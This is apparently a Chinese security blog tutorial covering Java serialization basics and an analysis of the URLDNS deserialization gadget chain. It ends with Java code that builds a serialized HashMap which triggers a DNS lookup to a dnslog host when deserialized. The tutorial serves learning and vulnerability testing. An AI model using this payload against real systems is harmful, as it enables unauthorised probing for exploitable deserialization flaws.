Java反序列化基础和URLDNS链

反序列化基础

Java反序列化的时候不依赖于额外函数的调用,它在还原这个对象本身的时候出发了多余的调用(比如还原HashMap)

一个可以序列化的类

  • 在java当中,如果一个类需要被序列化和反序列化,需要实现java.io.Serializable接口
package Red;

import java.io.Serializable;

public class Person implements Serializable {
    private int age;
    private String name;

  • 跟进java.io.Serializable接口,发现是一个空接口,说明作用只是为了在序列化和反序列化的时候做类型判断。
    image

如何序列化类

Java原生实现了一套序列化的机制,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法就能写入对象了。

public static void main(String[] args) throws Exception {
        Person person = new Person();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(person);
        objectOutputStream.close();

    }

跟进writeObject函数之中能发现序列化是针对对象的不是针对类的,于是类的静态属性就不会被序列化,包括对象的transient属性也不会被序列化。

如何反序列化类

序列化使用的是ObjectOutputStream类,反序列化就是ObjectInputStream类的readObject方法,readObject函数返回的是Object类型的对象,因此需要做强制类型转换。

public static void main(String[] args) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = (Person)objectInputStream.readObject();
}

实际的实现,其实就是序列化的逆过程,会根据序列化读出数据的类型,进行相应的处理,比如是Class,就会调用Class.forName反射获取对应的类信息

序列化对象的格式

查看一下序列化对象的格式

Flag | data |flag | data

就是开始有flag之后是数据,之后又是flag然后还是数据

image

serialVersionUID

对象能够成功的反序列化是因为和序列化的时候使用的协议是一样的,对应到JAVA反序列化中这里的协议指的就是serialVersionUID

serialVersionUID不一致的时候,反序列化会直接抛出异常

//首先生成一个序列化后的文件serialVersionUID=2L
package Red;

import java.io.*;

public class Person implements Serializable {
    private static final long serialVersionUID = 2L;
    private int age;
    private String name;

    public static void main(String[] args) throws Exception {
        Person person = new Person();
        person.age = 10;
        person.name = "red";
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        objectOutputStream.writeObject(person);
        objectOutputStream.close();
    }
}

之后修改代码将其修改成1L

package Red;

import java.io.*;

public class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    private int age;
    private String name;

    public static void main(String[] args) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.ser"));
        Person person1 = (Person) objectInputStream.readObject();
        System.out.println(person1.age);
        objectInputStream.close();
    }
}
//Red.Person; local class incompatible: stream classdesc serialVersionUID = 2, local class serialVersionUID = 1

可以看到出现了反序列化的时候的错误说serialVersionUID不正确!image

URLDNS反序列化链

这里最重要的就是这个三个类,HashMap,URL,URLStreamHandler这三个类,根据上边笔记的说法可以看到HashMap这个类是存在readObject方法的,于是其实反序列化的时候会调用的是HashMap.readObject()中的内容而不是Java自带的,具体为什么HashMap要重写readObject方法的话也是有原因的。–>博客链接
image

private void readObject(java.io.ObjectInputStream s){
  /***
  ......
 ***/
    for (int i = 0; i < mappings; i++) {
                    @SuppressWarnings("unchecked")
                        K key = (K) s.readObject();
                    @SuppressWarnings("unchecked")
                        V value = (V) s.readObject();
                    putVal(hash(key), key, value, false, false);
      							//可以看到这里存在hash(key)方法,跟进源代码里看一下
            }
}
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  		//执行的是key.hashCode()
    }

这里可以看到执行的是key.hashCode(),hashMap的本意是想执行object类的hashCode()来计算一个对象的独一无二的值,但是如果我们传入的是一个URL类对象呢?
image
分析一下URL类的源码,URL类存在自己的hashCode()方法,于是就会造成一种混淆,让HashMap里的key.hashCode()方法,key中传入的是url对象,就会执行url.hashCode(),而之后看if(hashCode!=-1) return hashCode,不会执行hashCode = handler.hashCode(this);,于是这里要想办法将hashCode设置成-1,来执行handlerhashCode()方法。
image
继续跟进URLStreamHandler里看一下方法,同样存在hashCode()方法,并且会发起一个DNS请求将域名解析成IP地址,于是就会有DNS记录。
image
攻击链条就形成啦,要先初始化一个HashMap—>装入URL—>给URLHashCode设置成-1通过反射—>序列化HashMap,反序列化的时候就会执行hashMap.readObejct()--->URL.hashCode()--->handler.hashCode()来完成一次DNS解析,成功的执行了我们构造的代码。
image

代码

public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://zb94ej.dnslog.cn");
        Class c1 = url.getClass();
        Field hashCodeField = c1.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234);
        //这里通过反射先将hashCode不设置成-1,否则在序列化的时候就会发起DNS请求并且,初始化之后HashCode不是-1会一起序列化,反序列化的时候的对象的hashCode也就不是-1了就不会执行handler.hashCode()方法了
        hashMap.put(url,1);
        hashCodeField.set(url,-1);
        //通过反射将hashCode设置成-1
        serializable(hashMap);
}
© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发